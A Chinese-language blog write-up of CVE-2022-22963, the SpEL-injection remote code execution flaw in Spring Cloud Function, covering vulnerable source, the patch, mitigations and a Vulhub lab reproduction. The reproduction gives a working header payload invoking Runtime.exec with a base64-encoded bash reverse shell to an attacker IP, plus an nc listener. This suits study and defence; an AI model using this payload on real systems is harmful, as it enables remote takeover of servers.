当前位置: 首页 > news >正文

CVE-2022-22963源码分析与漏洞复现

漏洞概述

CVE-2022-22963 是 Spring Cloud Function 框架中的高危远程代码执行(RCE)漏洞,影响版本为 3.1.6、3.2.2 及更早的不受支持版本。攻击者通过 HTTP 请求头 spring.cloud.function.routing-expression 注入恶意 SpEL 表达式,触发表达式解析并执行任意命令。该漏洞的核心问题在于路由功能的 SpEL 表达式解析未做安全限制。


技术细节分析

1. 漏洞成因
  • SpEL 表达式注入
    Spring Cloud Function 的 RoutingFunction 在处理路由请求时,直接从 HTTP 请求头或应用配置中提取 spring.cloud.function.routing-expression 的值,并作为 SpEL 表达式解析。攻击者可通过构造恶意表达式(如 T(java.lang.Runtime).exec("calc"))触发代码执行。
  • 高危上下文配置
    使用 StandardEvaluationContext 作为 SpEL 执行上下文,允许访问 Java 反射、系统类等敏感操作。
2. 源码分析
入口函数:RoutingFunction.route()
private Object route(Object input, boolean originalInputIsPublisher) {// 关键逻辑分支:处理 Message 类型输入if (input instanceof Message) {Message<?> message = (Message<?>) input;// 检查请求头中的路由表达式if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {function = this.functionFromExpression((String) message.getHeaders().get("spring.cloud.function.routing-expression"), message);}}return function.apply(input); // 执行目标函数
}

触发路径

  1. 请求头注入:攻击者设置 spring.cloud.function.routing-expression 头值为恶意表达式。
  2. 表达式解析:调用 functionFromExpression() 方法解析表达式。
  3. 代码执行StandardEvaluationContext 解析并执行表达式。
关键漏洞点:functionFromExpression()
private final StandardEvaluationContext evalContext = 
new StandardEvaluationContext();
//this.evalContext为StandardEvaluationContext类
private FunctionInvocationWrapper functionFromExpression(String routingExpression, Object input) {// 解析用户输入的表达式(漏洞根源)Expression expression = spelParser.parseExpression(routingExpression);// 使用高危上下文执行表达式String functionName = expression.getValue(this.evalContext, input, String.class);return functionCatalog.lookup(functionName); // 查找并返回目标函数
}

问题分析

  • spelParser.parseExpression:直接解析用户输入的 routingExpression,未做过滤。
  • StandardEvaluationContext:允许执行任意 Java 方法,包括 Runtime.exec() 等危险操作。
  • 上下文绑定evalContext 绑定了 MapAccessorBeanResolver,进一步扩大了攻击面。
补丁分析

官方修复方案(Commit 0e89ee2):

1. 替换执行上下文

StandardEvaluationContext 替换为 SimpleEvaluationContext,禁用反射和危险操作:

// 修复后代码示例
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
String functionName = expression.getValue(context, input, String.class);
2. 限制表达式来源

若表达式来自 HTTP 头,强制使用安全上下文,禁止使用 StandardEvaluationContext


漏洞复现

环境搭建
1.使用 Vulhub 环境启动漏洞靶机:
 docker-compose up -d

在这里插入图片描述

2.访问访问 http://target:8080,确认服务正常运行

在这里插入图片描述

攻击步骤(反弹shell)
1. 构造payload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("命令")
  • 反弹shell的payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==bash -i >& /dev/tcp/192.168.1.102/6666 0>&1base64编码(换成自己攻击机的ip和监听端口)

  • 最终payload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
//将第一个payload的'命令'替换为反弹shell的payload
2.kail攻击机开启监听
nc -lvvp 6666

在这里插入图片描述

3.构造恶意请求
  • 用bp抓取访问http://target:8080的包
    在这里插入图片描述
  • 将请求头换为POST /functionRouter HTTP/1.1,并添加payload发送请求包
    在这里插入图片描述
4.验证
  • 反弹shell成功
    在这里插入图片描述

修复方案

1. 升级版本

升级至 Spring Cloud Function 3.1.7+3.2.3+,修复 SpEL 解析逻辑。

2. 输入过滤

若无法立即升级,通过 WAF 拦截包含 spring.cloud.function.routing-expression 的请求头,并过滤 T()# 等关键字。

3. 禁用路由功能

application.properties 中移除 spring.cloud.function.definition=functionRouter 配置。


总结

CVE-2022-22963 的根源在于 Spring Cloud Function 对用户输入的高度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,显著降低了攻击面。


参考链接

  1. Spring Cloud Function 官方公告
  2. 漏洞修复 Commit 记录
  3. Vulhub 复现环境
  4. Akamai 技术分析报告
  5. CVE-2022-22963 深度解析(FreeBuf)
  6. CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现

相关文章:

  • 类autosar的os系统实现
  • 说一下响应状态码有哪些?
  • 语言幻觉测试用例及相关策略总结
  • SAP学习笔记 - 开发13 - CAP 之 添加数据库支持(Sqlite)
  • plc基础知识整理(三菱)
  • SVN与蓝盾流水线
  • 依赖错误终结者:AI 项目管理中的故障排查指南
  • python训练营day29
  • C++类与对象--5 运算符重载
  • 【Canvas与图标】圆角方块蓝星CSS图标
  • 纯前端实现图文识别 OCR
  • 异步委托执行管理器:更新
  • 嵌入式培训之数据结构学习(六)树(二叉树)、哈希表、内核链表
  • 理解 Swift 逃逸闭包与 implicit `self`
  • virtual下Ubuntu24.04版本上配置网络与外网和宿主机之间互通
  • ros2-类继承,lambda,共享指针,多线程
  • 【C++】C++的IO流
  • 数据结构学习笔记—初识数据结构
  • 【机器学习】线性回归和损失函数
  • 特征值与特征向量的计算——PCA的数学基础
  • 国家统计局:1-4月份,全国固定资产投资同比增长4.0%
  • 林诗栋/蒯曼混双取胜,国乒赢得多哈世乒赛开门红
  • 陶石不语,玉见文明:临平玉架山考古博物馆明日开馆
  • 广西百色“致富果”:高品质芒果直供香港,带动近五千户增收
  • 乌克兰官员与法德英美四国官员举行会谈
  • 商务部召开全国离境退税工作推进会:提高退税商店覆盖面,扩大入境消费